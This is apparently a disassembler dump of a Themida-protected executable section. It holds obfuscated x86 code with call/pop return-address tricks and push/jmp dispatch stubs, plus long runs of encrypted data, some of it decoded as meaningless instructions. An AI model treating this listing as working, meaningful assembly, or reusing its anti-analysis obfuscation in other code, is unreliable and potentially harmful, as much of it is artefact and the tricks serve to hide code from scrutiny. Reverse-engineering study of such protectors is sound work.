loc_5DEE0F: ; DATA XREF: Themida_:00582D0Co
; Themida_:0058320Co
pop es
mov eax, eax
jmp short loc_5DEE51
; ---------------------------------------------------------------------------
dd 6C2E7C34h, 0E22247D3h, 0D194B4E5h, 2B7EC397h, 75175A38h
dd 1400621Ch, 0C8CB3443h, 0FB487312h, 34BA42C3h, 7644A220h
dd 30AB7891h, 6CE54A29h, 0B0B8BF50h, 35824FAEh, 0CD6965B0h
db 20h
; ---------------------------------------------------------------------------
loc_5DEE51: ; CODE XREF: Themida_:005DEE12j
mov eax, eax
loc_5DEE53: ; CODE XREF: Themida_:005DEE71j
push 0
push ebx
call sub_5DEE5E
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5DEE5E proc near ; CODE XREF: Themida_:005DEE56p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 1Ah
inc ebx
push ebx
retn
sub_5DEE5E endp
; ---------------------------------------------------------------------------
mov [ebx+7Eh], ecx
jecxz short loc_5DEE53
cmc
shl byte ptr [esi-46h], 5Bh
das
cmp dword ptr [ebp+7E413F1h], 0
jnz short loc_5DEE8B
cmp dword ptr [ebp+7E40935h], 0
jz short loc_5DEEA4
loc_5DEE8B: ; CODE XREF: Themida_:005DEE80j
push eax
push ebx
mov eax, eax
mov eax, 3FCh
mov [ebp+7E41479h], eax
lea ebx, [ebp+7E6E9F0h]
call ebx ; _iob
pop ebx
pop eax
loc_5DEEA4: ; CODE XREF: Themida_:005DEE89j
cmp dword ptr [ebp+7E40935h], 0
jz short loc_5DEEC4
push eax
push ebx
mov eax, 3FCh
mov [ebp+7E41479h], eax
lea ebx, [ebp+7E6E6DFh]
call ebx ; _iob
pop ebx
pop eax
loc_5DEEC4: ; CODE XREF: Themida_:005DEEABj
movsx edx, dx
mov dx, 0D2B8h
mov eax, eax
jmp loc_5DEEE4
; ---------------------------------------------------------------------------
dw 9E3Ch
dd 711324D9h, 6DDC97Eh, 2F46E8E3h, 8FB77926h
; ---------------------------------------------------------------------------
loc_5DEEE4: ; CODE XREF: Themida_:005DEECDj
cmp dword ptr [ebp+7E42015h], 1
jz loc_5DEF5D
push 0
push edx
call sub_5DEEFC
and [edx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5DEEFC proc near ; CODE XREF: Themida_:005DEEF4p
arg_4 = dword ptr 8
pop edx
mov [esp-4+arg_4], edx
add [esp-4+arg_4], 16h
inc edx
push edx
retn
sub_5DEEFC endp
; ---------------------------------------------------------------------------
dd 0F8F920Fh, 0C8Ah, 68F0F00h, 0F000000h, 86h, 0BD83F900h
dd 7E40E2Dh, 2E850F00h, 66000000h, 0F26E381h, 15DBD83h
dd 0F0007E4h, 4F84h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh
dd 24448104h, 1404h, 0C3534300h
db 0F3h
; ---------------------------------------------------------------------------
loc_5DEF5D: ; CODE XREF: Themida_:005DEEEBj
jmp loc_5DF30B
; ---------------------------------------------------------------------------
push 0
push esi
call sub_5DEF6D
and [esi-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5DEF6D proc near ; CODE XREF: Themida_:005DEF65p
arg_4 = dword ptr 8
pop esi
mov [esp-4+arg_4], esi
add [esp-4+arg_4], 15h
inc esi
push esi
retn
sub_5DEF6D endp
; ---------------------------------------------------------------------------
db 68h, 4Bh, 0
dd 0F000000h, 0B060DBB7h, 0A7D88137h, 61468467h, 0A42459Bh
dd 4A3CF7E2h, 0C133F086h, 4CE47BA4h, 26B7E7E4h, 90339AB7h
dd 0C133F3B0h, 26AD02Ch, 0E57F794Fh, 0E577710Fh, 0C133EA81h
dd 262B1C2h, 9B03D625h, 0CE06E12Fh, 0C133F7DCh, 4055902Ch
dd 0A0EB39CFh, 468820F4h, 28756856h, 0C133F42Fh, 2965F00Bh
dd 0C133F0B3h, 9FF0AE78h, 0C51784A5h, 0C517B497h, 0C133F01Fh
dd 0D0F0A6C3h, 0C1331897h, 406EF061h, 28F8875Dh, 94339A5Fh
dd 0C133F3C4h, 26ED016h, 0E55F7956h, 0E5777181h, 0C133E4C6h
dd 266B561h, 90339AC5h, 0C133F3B0h, 26AD02Ch, 0E57F794Fh
dd 0E577710Fh, 0C133E781h, 262B1C2h, 0B1EF1FCh, 1B8263Bh
dd 38D9713Eh, 0C7816082h, 18B89646h, 0CE67469Bh, 3F17BC84h
dd 2961F0A8h, 0C133F062h, 9BF0AA90h, 0C517A4D1h, 0C517B4ADh
dd 0C133F003h, 33F0A249h, 406B0C31h, 9DEF1918h, 0C33FF551h
dd 0C159F0B0h, 0C1301809h, 9813F02Ch, 8DBAA9D5h, 85B2F42Fh
dd 0C12BF4A1h, 9072F0C2h, 0EDAC8FA2h, 16B862BAh, 9BC47A0Ah
dd 0CECFF8A7h, 0C133F392h, 7BE4700Bh, 3D7B7BE3h, 2961F0A8h
dd 0C133F062h, 9BF0AA90h, 0C517A4D1h, 0C517B4ADh, 0C133F00Dh
dd 0B9F0A249h, 8C7E77F0h, 4B5F8A49h, 0DAD171BCh, 793FEE7Dh
dd 0C133F059h, 2962F046h, 0C133F015h, 98F0A92Bh, 0C517BC0Ch
dd 0C517B443h, 0C133F07Bh, 0A0F0A1F1h, 11731639h, 4F3CDB3Eh
dd 0C133F013h, 3952906Bh, 0B389A0E4h, 4838CC6Ch, 0AB2D46Dh
dd 0ACAC22ECh, 0ABEA7C3Eh, 0C2DBA02Ch, 0E133F016h, 486B3353h
dd 4037D4C1h, 0D637D486h, 8133F061h, 67A933E0h, 0C525B4h
dd 0DFB6FF28h, 9133F017h, 0C1387E04h, 0C7DAF085h, 2D33F0C2h
dd 702CA16Fh, 0AB6AAA8Bh, 0C2DBA158h, 0E133F02Ch, 486A334Fh
dd 4037D447h, 0D837D4C1h, 8033F0C2h, 56DA3330h, 1E4C4CFBh
dd 0C133E0B0h, 4794A42Ch, 0A475FE0Dh, 49F90CA4h, 0A7CB0445h
dd 0C7B5FF89h, 0CE33F061h, 0C133F035h, 0F8B3AB58h, 0E7B6FF44h
dd 0A133F017h, 40550381h, 0A06D9665h, 38328949h, 0C1330FE0h
dd 433C70B0h, 0C133F155h, 2961F046h, 0C133F015h, 9BF0AA2Bh
dd 0C517A40Ch, 0C517B443h, 0C133F07Bh, 0ECF0A2F2h, 93904735h
dd 405597B8h, 674B0FCh, 28F9048Eh, 0C133F182h, 91339AC2h
dd 0C133F389h, 26BD0B0h, 0E5777900h, 0E5777128h, 0C133EA12h
dd 263B00Bh, 9667F8Dh, 28D2818Eh, 0C133F086h, 2962F0DAh
dd 0C133F05Bh, 98F0A90Ch, 0C517BC9Fh, 0C517B48Ah, 0C133F091h
dd 8DF0A183h, 370803E0h, 4FDACE96h, 0AB33F058h, 0C2DBA12Ch
dd 0E133F016h, 486A3352h, 4037D4C9h, 0DA37D486h, 8033F061h
dd 227633E1h, 0AB2568A9h, 3865FE63h, 0A7CBA94Ch, 3E388988h
dd 0C168748Ah, 0C159F0C2h, 0C1301836h, 9E13F0B0h, 0BDBAAF9Bh
dd 85B2F408h, 0C127F432h, 9674F00Bh, 44F45346h, 0C6DA3A36h
dd 0C133F060h, 2961F0DAh, 0C133F05Bh, 9BF0AA0Ch, 0C517A49Fh
dd 0C517B48Ah, 0C133F09Dh, 5EF0A280h, 83CB9078h, 0C13679BFh
dd 0B589F058h, 2803A824h, 0C133F013h, 5FA5C690h, 2953B8B6h
dd 0C133F0C4h, 1A591Fh, 0D3DA54CBh, 6533F058h, 0DCE289Ah
dd 0B60BCEB0h, 5FE4E797h, 6CFA5E07h, 4E3CA976h, 0C133F067h
dd 0C13372BFh
db 58h, 0F0h, 52h
; ---------------------------------------------------------------------------
loc_5DF30B: ; CODE XREF: Themida_:loc_5DEF5Dj
js short loc_5DF376
sub al, 2Eh
mov word ptr [ebx-1DEE5D8Bh], ds
idiv dword ptr [esi-25C1E684h]
mov cl, 8
inc edi
mov byte ptr [ecx-1], 0E2h
or bh, dh
sbb eax, esi
stosd
pop eax
mov al, ds:0F02CC2DBh
xor esp, ecx
dec esi
xor ebp, [ebx+48h]
dec edi
aam 37h
inc eax
rcl esp, 37h
fcmovb st, st(2)
lock xor eax, [ecx+571F3331h]
mov ah, 0F3h
cld
dec byte ptr [ebx+7EC15958h]
sbb [eax], dh
rcl dword ptr [esi], 0F0h
adc ebx, [ebx-6A455538h]
mov eax, ds:0E685B2F4h
hlt
; ---------------------------------------------------------------------------
das
shl dword ptr [ecx-10h], 71h
loc_5DF363: ; CODE XREF: Themida_:005DF3A1j
xchg eax, ebx
jnb short near ptr loc_5DF368+1
fcomip st, st(1)
loc_5DF368: ; CODE XREF: Themida_:005DF364j
cmp [ecx+18h], bl
sub al, 0CAh
xor al, 88h
popa
cmp al, 39h
sub esi, ecx
mov ebx, ebp
loc_5DF376: ; CODE XREF: Themida_:loc_5DF30Bj
xor eax, ecx
test [eax+5D194055h], edx
mov ch, [eax]
outsb
lock xor eax, ecx
xchg eax, edi
scasd
sbb al, 0D8h
dec eax
jmp short loc_5DF39E
; ---------------------------------------------------------------------------
db 2
dd 0D10BA13Dh, 0A00C5E36h, 0E1264D88h, 0CE32F761h
; ---------------------------------------------------------------------------
inc esi
xchg eax, ebx
loc_5DF39E: ; CODE XREF: Themida_:005DF389j
xor eax, ecx
popa
jno short loc_5DF363
sub dword ptr es:[edx], 0DDE54226h
cmp eax, 3CF02B25h
inc esp
inc esi
lock xor eax, ecx
popa
lock sub [esi-1D3ECC10h], ax
lodsd
lock pushf
call near ptr 32230B61h
mov ah, 17h
lds eax, [edx-10h]
xor eax, ecx
imul esp, [ebp+6440D4F0h], 0EAAB5BA8h
mov al, 7Ch
fdiv st, st(1)
xlat
mov dl, 0FFh
mov bh, 89h
popa
lock xor ebp, [ebx-3D245C50h]
pop eax
lock xor esp, ecx
ja short near ptr loc_5DF41D+4
push 37D44A48h
inc eax
dec edi
aam 37h
xlat
test esi, eax
xor eax, [edx-506ACC6Fh] ; CODE XREF: Themida_:005DF401j
outsd
jo short near ptr loc_5DF3FA+1
xchg bl, [ecx+34h]
xor eax, ecx
pop eax
call far ptr 0C133h:0F3C49733h
push ss
shr byte ptr [ebp+2], 1
push ebp
jns short loc_5DF45E
in eax, 81h ; DMA page register 74LS612:
; Channel 2 (diskette DMA) (address bits 16-23)
jno short loc_5DF492
in eax, 0C6h ; DMA controller, 8237A-5.
; channel 3 current address
loc_5DF41D: ; CODE XREF: Themida_:005DF3ECj
jmp far ptr 265h:0B661C133h
; ---------------------------------------------------------------------------
dd 0AB2815Ch, 42B6A89Fh, 2513E591h, 443CF111h, 0C133F060h
dd 2966F0EFh, 0C133F0C1h, 9CF0AD41h, 0C5179C39h, 0C517B4D9h
dd 0C133F03Ah, 0FFF0A553h, 0E88899AFh, 9C035E12h
db 48h, 5
; ---------------------------------------------------------------------------
loc_5DF45E: ; CODE XREF: Themida_:005DF415j
lock jnp short near ptr loc_5DF49C+1
pop ebx
imul ebp, [ebx-3ECC6BA7h], 96339A58h
; ---------------------------------------------------------------------------
dd 0C133F3C4h, 26CD016h, 0E54F7954h, 0E5777181h, 0C133ECC6h
dd 264B761h, 5214CEFFh, 31F3D4E0h, 0C122198Dh
db 16h, 0F0h
; ---------------------------------------------------------------------------
loc_5DF492: ; CODE XREF: Themida_:005DF419j
db 2Eh
loopne near ptr loc_5DF4FC+3
setalc
mov eax, 40A9CCE4h
clc
loc_5DF49C: ; CODE XREF: Themida_:loc_5DF45Ej
jecxz short loc_5DF4F3
sbb dl, [ebx+ecx-44h]
test al, 9Ch
xor [edi], bl
cmp al, 0Eh
xor dh, al
arpl [ecx], bp
das
lock xor eax, ecx
db 36h
test al, 0F0h
cdq
xor byte ptr [edi+edx+17B404C5h], 0C5h
fcomip st, st
xor eax, ecx
and [eax-0A088210h], esp
retn 0AC4Bh
; ---------------------------------------------------------------------------
db 4Ah, 45h, 0BEh
dd 0C48E7D05h, 4C3419DDh, 28E3AE86h, 9D2E4882h, 44008BF8h
dd 0C6D7EEC0h, 28F23F9Bh, 2E2C6978h, 0A2759B8Ch
db 11h, 0E2h, 0F7h
; ---------------------------------------------------------------------------
loc_5DF4F3: ; CODE XREF: Themida_:loc_5DF49Cj
mov esi, 0DA3E197Ch
mov cl, 8
inc edi
loc_5DF4FC: ; CODE XREF: Themida_:loc_5DF492j
mov byte ptr [ecx-1], 0E2h
loc_5DF500: ; DATA XREF: Themida_:005838A0o
or [ebx-5B0CFA17h], al
cmp dword ptr [ebp+7E9CAF4h], 0
jz short loc_5DF51C
lea ecx, [ebp+7E44FE7h]
mov eax, 1
jmp ecx
; ---------------------------------------------------------------------------
loc_5DF51C: ; CODE XREF: Themida_:005DF50Dj
inc eax
push 0
push ebx
call sub_5DF528
and [ebx-3Dh], bl
; =============== S U B R O U T I N E =======================================
sub_5DF528 proc near ; CODE XREF: Themida_:005DF520p
arg_4 = dword ptr 8
pop ebx
mov [esp-4+arg_4], ebx
add [esp-4+arg_4], 19h
inc ebx
push ebx
retn
sub_5DF528 endp
; ---------------------------------------------------------------------------
dd 309640FCh, 11E9E8EAh, 20000000h, 27BB337Ah, 0EBB3FC46h
dd 0FD301F4Ah, 626FD3D4h, 0E856006Ah, 3, 5EC35E20h, 4247489h
dd 4244481h, 1Bh, 0CCC35646h, 4CFF5C78h, 8322E99Eh, 6A2DE8h
dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
dd 12BC30C3h, 0DE8B557Fh, 35BAD0B6h, 8B6F5209h, 53006AC0h
dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1504h, 0C3534300h
dd 0F606885h, 38Ch, 0FBB70F00h, 11E9h, 0F30DB400h, 4F9B87E3h
dd 5B4148A9h, 0DC8896A8h, 0BA61FAD9h, 7BE59F51h, 0BD83D68Bh
dd 7E413F1h, 83097500h, 0E40935BDh, 19740007h, 0C08B5350h
dd 3FCB8h, 0ED858900h, 8D07E40Eh, 0E6EA579Dh, 5BD3FF07h
dd 35BD8358h, 7E409h, 53501774h, 3FCB8h, 0ED858900h, 8D07E40Eh
dd 0E6E6F89Dh, 5BD3FF07h, 53006A58h, 3E8h, 0C35B2000h
dd 245C895Bh, 24448104h, 1B04h, 0C3534300h, 0FE43D60Dh
dd 0AF291F79h, 0FD08B66h, 28Fh, 6AD78B00h, 3E85700h, 20000000h
dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 8182C357h
dd 22255AF6h, 8B661908h, 8DC08BDFh, 0E9D2F38Dh, 52006A07h
dd 3E8h, 0C35A2000h, 2454895Ah, 24448104h, 1B04h, 0C3524200h
dd 6BCB353Fh, 5C3A205Ch, 1415BD01h, 8D2907E4h, 7E426B9h
dd 1B718D89h, 0BD8B07E4h, 7E425C1h, 2DA185C7h, 657807E4h
dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h
dd 57470000h, 0EC5E1EC3h, 0DB0591EDh, 664E90DDh, 379CF781h
dd 22B985C7h, 7E4h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h
dd 44810424h, 150424h, 57470000h, 0FF2E9FC3h, 0E41E8DB5h
dd 51006A07h, 3E8h, 0C3592000h, 244C8959h, 24448104h, 1804h
dd 0C3514100h, 2FA7A37Ah, 6195FFF1h, 6A07E430h, 3E85200h
dd 20000000h, 895AC35Ah, 81042454h, 16042444h, 42000000h
dd 0CAA0C352h, 0BF6656F4h, 6A5F6537h, 4195FF00h, 8B07E40Eh
dd 9B1CEBC0h, 13B3C4D3h, 2BE4316h, 0EBE82EC0h, 2D076329h
dd 1B0C63C0h, 0BFD691ACh, 0E9D0BBEEh, 170h, 571542D8h
dd 87A4687Ch, 4F584CD2h, 8855890h, 518E56ABh, 88D56B0h
dd 518658B7h, 38AD718Dh, 51FF2487h, 0D3047088h, 9F00C42Ch
dd 50B8B6BCh, 51C915F7h, 128h, 0
dd 4, 2 dup(0)
dd 36h, 0
dd 8, 0
aSystem db 'System',0
aProcess db ' Process]',0
align 10h
dd 41h dup(0)
; ---------------------------------------------------------------------------
jmp loc_5E1139
; ---------------------------------------------------------------------------
push 7E9D6A6h
jmp loc_598345
; ---------------------------------------------------------------------------
push 7E9D7CFh
jmp loc_598345
; ---------------------------------------------------------------------------
push 7E9D88Fh
jmp loc_598345
; ---------------------------------------------------------------------------
push 7E9D973h
jmp loc_598345
; ---------------------------------------------------------------------------
push 7E9DAB3h
jmp loc_598345
; ---------------------------------------------------------------------------
push 7E9DC2Ah
jmp loc_598345
; ---------------------------------------------------------------------------
push 7E9DD08h
jmp loc_598345
; ---------------------------------------------------------------------------
push 7E9DDBAh
jmp loc_598345
; ---------------------------------------------------------------------------
push 7E9E064h
jmp loc_598345
; ---------------------------------------------------------------------------
push 7E9E12Bh
jmp loc_598345
; ---------------------------------------------------------------------------
push 7E9E212h
jmp loc_598345
; ---------------------------------------------------------------------------
push 7E9E294h
jmp loc_598345
; ---------------------------------------------------------------------------
push 7E9E44Ch
jmp loc_598345
; ---------------------------------------------------------------------------
push 7E9E9E0h
jmp loc_598345
; ---------------------------------------------------------------------------
push 7E9EB26h
jmp loc_598345
; ---------------------------------------------------------------------------
db 0FDh
dd 0B3C8FB5Dh, 687DB0A6h, 182D60ECh, 0CCE11440h, 5C90C387h
dd 0E565EE7Fh, 98BA9DB2h, 4A065065h, 0FB530217h, 16F963C8h
dd 23FF63E6h, 0D92E2FE3h, 0A188D27Ch, 0A8AF98B2h, 120579AAh
dd 0DAC10B43h, 9A8DD179h, 344891B9h, 15D533FFh, 3295C6ABh
dd 0C20C042Ah, 8DC3937Ah, 0A504475Ch, 9AA723F9h, 0D3BA0256h
dd 3588CC82h, 0F9A02050h, 0DF101D23h, 0F99F96CAh, 113B1923h
dd 0D77FDACDh, 36195E93h, 9DB24549h, 5E8E99D1h, 2D9E5Ah
dd 0BBA20000h, 382B399h, 7EC8C0E6h, 0F9979C9Bh, 87D27F23h
dd 534286CFh, 23F9981Fh, 2D5BF487h, 12431346h, 5EAA227Ah
dd 114495Ah, 0D9480000h, 0A188D27Ch, 0F15BF9B3h, 0E0115AADh
dd 0A5DA796Ch, 147D2317h, 0B8FC454Dh, 7ABE90C5h, 3680CE87h
dd 93C3A6EEh, 981C15F4h, 0F476A68Bh, 66731C15h, 0F1981B52h
dd 0C9FA3AD9h, 0C1A8F066h, 0A4D4B993h, 0A91C1623h, 0ED566B9Ch
dd 7F1C1628h, 20245437h, 1C291C16h, 0CB83D2EBh, 7CD28398h
dd 58FDE438h, 94BFB2F6h, 303C6DB6h, 69E1721Eh, 0A5D2AF55h
dd 0B2FBFDDAh, 16035668h, 172B1F34h, 95C6DD95h, 977D381Bh
dd 74F23FAh, 0FA6EF424h, 0BBECF923h, 6EDC7724h, 0C4EAF225h
dd 6EB8E8CBh, 233323FAh, 3A19C62Dh, 3079CC10h, 76BA9DE7h
dd 1B2BE158h, 76DDC40Eh, 0C78CA1D4h, 7A8C9183h, 0F418C2A6h
dd 1564F7h, 7DDB7F00h, 3224354Ah, 0E26AEAFFh, 96BE9AAFh
dd 45054E63h, 70FDDE12h, 1F3467E3h, 0D2E71A38h, 8499CC84h
dd 0E54A7DD1h, 6468987Bh, 0B16523FFh, 0C89178B0h, 0EF74A8Eh
dd 0BED70848h, 6D82B595h, 0D41C66E8h, 158EC1F1h, 80B1BE1Ch
dd 0C0E6A21Dh, 62DAECFDh, 3B8425D3h, 9B0F0EF1h, 0FF0C23F9h
dd 5A8A6DB5h, 5F23F998h, 0BEAD2152h, 23F9988Ah, 74F05FF2h
dd 5A5EA924h, 0E643h, 0F5604700h, 0D9A92859h, 3A8ED27Ch
dd 94D0353h, 0E76C85B6h, 75071963h, 96FADBB7h, 7F66A9Bh
dd 1C15D29Eh, 0D303E62Eh, 2B1C15C9h, 0A7D6E770h, 41178DCh
dd 0B39BBAD3h, 0BEF80A80h, 697B14E6h, 0B1F559FCh, 0CBE4155Eh
dd 2C80C48Ah, 0E3F1145h, 9AE4EC02h, 0FA62FCB7h, 0F0D7AF23h
dd 3F0BD6F0h, 0DA5083CCh, 9798B1C8h, 0D188CFF7h, 0A5EE4185h
dd 7F466874h, 48324EDCh, 0EBF50963h, 0D7ED6115h, 91B65AEh
dd 3C42B3CCh, 32ACDD8Eh, 0FD5303EAh, 203566B9h, 2BE09CCBh
dd 664D97A4h, 152A5DEDh, 0F91A0C3Eh, 9BC2A5C1h, 143B7A77h
dd 0B2A80000h, 0FB5E73A6h, 4113285Bh, 95C3D80Bh, 0DC778CBFh
dd 0A4073B6Eh, 5D90BA99h, 10430F48h, 0C2F55BFBh, 73A6A8ADh
dd 91C1A40Eh, 8E23FF65h, 7AD9D9DAh, 0CD889DD0h, 0D9D34E81h
dd 3A8ED27Ch, 4994C328h, 563F839Eh, 0B90C5000h, 68E66F88h
dd 18342035h, 0DA74E1D4h, 4704FBA7h, 0FCDF2921h, 23F9E4F5h
dd 0E965F0D7h, 9E1421B8h, 83C5E013h, 0D1B8001Bh, 0B4E4C983h
dd 0B90C83C5h, 596F7BACh, 79240751h, 6E1467E3h, 11371D61h
dd 5FECCF19h, 3D1B8769h, 0B4FFF56h, 0E3F087B8h, 0AAA2B299h
dd 68E21366h, 7BDAD481h, 0E1578AD3h, 1555DFAh, 0BCD5064Fh
dd 66C3B599h, 5AD23AE9h, 137B3936h, 0F2680000h, 3B1E3366h
dd 81D3E81Bh, 0D58398CBh, 1C374C7Fh, 0E4C7FB2Eh, 1D50FA59h
dd 0D0034F08h, 82B59BBBh, 3366E86Dh, 518164CEh, 4E23FF67h
dd 7CD9999Ah, 0E82C2432h, 22084C95h, 0D7BA040Ch, 23F9BAD8h
dd 957CC6D3h, 0FB4E92C4h, 35267CAh, 6BB3074Bh, 0BB104023h
dd 0D23F9h, 0F9BAEB1Bh, 0B2E3F023h, 3E8880A6h, 0E38E645Bh
dd 0D87D642Bh, 19492C76h, 161C238Eh, 3441D809h, 0FC5203EAh
dd 0E2A1B4C9h, 0ED4A0D44h, 2165AEDDh, 7EC7BBCDh, 0E11131CDh
dd 22C6CEFEh, 75BECB1Ch, 1A163844h, 99D6EDD0h, 0CCD9240Ch
dd 94BA9B82h, 8FF0634Ah, 71F9FB93h, 2859A2B5h, 0A9A5B0C5h
dd 0C1697F65h, 87CFB892h, 0E93285C9h, 2C0F579Fh, 23FA2AFCh
dd 0AEC3F401h, 2BDE4257h, 6A554754h, 0B2C2A7F7h, 1297918Eh
dd 0E4C0000h, 5702174Ah, 9DB7CCFFh, 0F1677CAFh, 381B3063h
dd 0ABDF12h, 134163Dh, 0B4E76BECh, 6699B79Fh, 174A0451h
dd 356548B2h, 3A23FF68h, 7AD98586h, 0E12A2630h, 8880A6AEh
dd 0ADC85B3Eh, 1E823F9h, 63B6FA54h, 4A8E9B32h, 0B485FE57h
dd 291C1A27h, 0ACC1F43Dh, 7B61A5A9h, 30135D55h, 2BDE3411h
dd 0CABD010Eh, 6280C48Ch, 0B78CA486h, 59FFE8D5h, 12ADB7FBh
dd 0B550503Dh, 46084D9Ah, 0EDE50B13h, 0A82DC0A3h, 0E5F223FAh
dd 0A7A7AEA1h, 1738DF63h, 7CD48269h, 86988068h, 34657834h
dd 0C00A0628h, 0A0D17BD9h, 4B04326h, 0A9902BDEh, 0D970A1ABh
dd 3C2399CCh, 0EE07381Ch, 0B69DE767h, 1A6DB1A1h, 528675E9h
dd 931C15E8h, 71E4014Eh, 0C095AADDh, 42644A8Eh, 0CE19FC46h
dd 0C123F9FBh, 0D8A0D0B3h, 909D23F9h, 8C9E1447h, 23DFED7h
dd 0F2A2D34Dh, 630F2116h, 0CD1760F6h, 0E445FBEAh, 9DB69D2Bh
dd 0D8E57CADh, 0CA80D362h, 0C5639786h, 0DDF31C22h, 0B4A48BD5h
dd 12F56FA0h, 240C9903h, 0E717FA08h, 0E423FA72h, 5D448ED7h
dd 0E2356F8h, 0D0C30747h, 0E0D5C783h, 3CBAC39Eh, 11571B18h
dd 0CE8C0000h, 1742578Ah, 5DF70C3Fh, 0B1A7BCEFh, 0F85B70A3h
dd 0C0EB1F52h, 4174D67Dh, 0F4272B2Ch, 0A6D977DFh, 578AC491h
dd 75A588F2h, 7A23FF68h, 7AD9C5C6h, 40279DD0h, 0F20B3C18h
dd 0B4A7EB63h, 3469ADA1h, 0D28360EFh, 0E5B5497Ch, 825DBAA3h
dd 1BCh, 77CD981h, 8669D629h, 1C167F56h, 0B6324653h, 0DA1E67E0h
dd 96E06EE7h, 0A2E1AAAFh, 0DEA8D1h, 1F72B6FFh, 6D838BEEh
dd 0F5381B65h, 0D723F9CBh, 0B9EA66F0h, 0E2D11522h, 23F9C8AEh
dd 0A0CC8316h, 5A5EA5C8h, 3A6Fh, 0C0E66E00h, 0DC253128h
dd 1B024A92h, 333183Eh, 81C158Fh, 0F58FE5Bh, 97CAC9DEh
dd 8D6523F9h, 57AF3059h, 7BBF080Bh, 0FA2F588Ch, 222DC023h
dd 5E021646h, 0E3155Ah, 78140000h, 8F1D4D30h, 7B751C15h
dd 97F8D1CBh, 0F4253299h, 0F0D37ADBh, 1C1646C0h, 1D67B0BDh
dd 0EA2E1E36h, 0AAF361F7h, 0CAB10579h, 88A7F88Bh, 1A2502Dh
dd 0E56E87B8h, 9C518164h, 414E1C15h, 9D9CAEF8h, 0C9E0F358h
dd 410D4831h, 579AAFDh, 6B404312h, 86CA8C6Eh, 0ECDBEF42h
dd 1A64AD6Dh, 0EB24AB08h, 159BD808h, 0B4C8D51Ch, 5182BCD1h
dd 0E36BEADDh, 0AA369FB0h, 9EB71C15h, 53757DB0h, 532A0D57h
dd 5823FC89h, 391A014Bh, 8AC9DE11h, 82ACDCBFh, 0A4B123FCh
dd 8E62695Bh, 7EA2BAC1h, 0FE081h, 1570300h, 0B6A0B9CEh
dd 66E66E83h, 1A3A1E33h, 0C981D2E7h, 0F4796296h, 0A3B8EB5Fh
dd 566B9EB4h, 81D5000h, 69CE014Dh, 6AEC1CFFh, 3DF123FFh
dd 0D07AD93Ch, 0B6CD889Dh, 0EA13983Dh, 0AFE22BE0h, 327CD934h
dd 92E52921h, 69B10549h, 997ED682h, 1C158E69h, 2C0F5966h
dd 1C158EFCh, 0AAC3F401h, 5B70A3ABh, 0AEA2B4FAh, 153B2165h
dd 89F0D31Dh, 2323F9A7h, 0F4381C3Ch, 0CCD970A1h, 0A112399h
dd 53758023h, 325275A6h, 5C000008h, 296DDF75h, 0E96BEDD6h
dd 0A22152A5h, 1D4D3078h, 221C158Fh, 88CBE415h, 5B8F7EC2h
dd 0EB1C158Eh, 0F8402C5h, 7A5EF90Ah, 0E12A73DBh, 0D8ADB497h
dd 556223FFh, 1D31240Bh, 380D5EAh, 0BEBCD256h, 0D2165F76h
dd 0E4D674DFh, 0BABEA5DDh, 2060327h, 0E100000Fh, 97ACDF79h
dd 4C6194C2h, 0FC114408h, 0B0C5F85Ch, 4074A7A3h, 0C981D29Bh
dd 7CD68196h
dd 2E223449h, 0DF6FE6FBh, 0FADD47ACh, 23FF6BCAh, 0D91A1BCFh
dd 889DD07Ah, 0EF3781CDh, 158EDC0Ch, 0A3D4E11Ch, 5FF4DB2Fh
dd 0B4A1BAEBh, 0B33E509Ah, 74C299CEh, 396EE213h, 0C78E5BF4h
dd 95DE6CE7h, 0AADAEC62h, 26ACA07Ah, 7424BCEDh, 0F35DBAA3h
dd 0Dh, 999EDDF2h, 2C1F1C15h, 0FFFFFD81h, 8EA9DD31h, 17391C15h
dd 6DEAD11Bh, 1D4EA1E5h, 61C1C0A3h, 515E23FFh, 19352007h
dd 2A84D1E6h, 8EE1252Dh, 450E0145h, 0AFC41305h, 0BCE0BABEh
dd 0E50BFh, 91C79300h, 4610495Eh, 0F656FE13h, 0AAAAAEC3h
dd 59F16277h, 84C9F226h, 33487BCFh, 0E6FB2E24h, 98ADE070h
dd 0F95E91BDh, 6B7CAC8Fh, 0CD8123FFh, 4D3078CCh, 1C158F1Dh
dd 1311422h, 0FE1C158Fh, 94BFA8F1h, 0EE1F72B6h, 262E80D5h
dd 0A699DD26h, 265B9FAFh, 457558A0h, 4A1C158Fh, 4E97B99Dh
dd 7E6BE41Dh, 61ECACD7h, 8F4DCEE2h, 2F7F1346h, 725DBA49h
dd 4387CD8Bh, 251FBFF0h, 1E000000h, 1D4D3078h, 221C158Fh
dd 90CFE415h, 291C1599h, 0FFFCB836h, 0FE5940FFh, 19A0B389h
dd 64AD636Ch, 1D9CCD20h, 7EC8C0E6h, 0F9AE7C9Bh, 0E525F23h
dd 0F9AEEC1Fh, 0C5E76D23h, 3074BD8Fh, 0BF981A3Dh, 0B3FC4F93h
dd 1268516Fh, 5707865Eh, 6380CF44h, 11155EF4h, 0C595D17Eh
dd 625A5E31h, 222h, 8ED9DD61h, 0AEDC1C15h, 0A487C68Fh
dd 1C158E74h, 0F0236C79h, 90D47ADBh, 158ED5A1h, 53FF581Ch
dd 183C1C0Fh, 0F55A9FD4h, 0D5BC9898h, 0BAEACD80h, 0BF1C158Eh
dd 0FF3869B2h, 8CC29350h, 9ED1E359h, 9F2174A8h, 1E354172h
dd 246DE174h, 0E668EDE0h, 97B79EB3h, 0C5A06453h, 0D3831C15h
dd 0C469997Ch, 59661C15h, 7FD9CC10h, 0FA7991D5h, 93BF9855h
dd 0AFB3FC4Fh, 0EE62F4DBh, 61836BDAh, 3263FFB2h, 520A56F9h
dd 0D95DBA49h, 196h, 77EFCBDDh, 6A9CCCAFh, 94A11C16h, 6E8C2D80h
dd 7D27975Ah, 8392718h, 77CD989h, 0AE13D7BDh, 5CA6EFB2h
dd 0CBB4C54Ah, 0E91A9679h, 7BD38275h, 3DA71F31h, 9B19FA2Dh
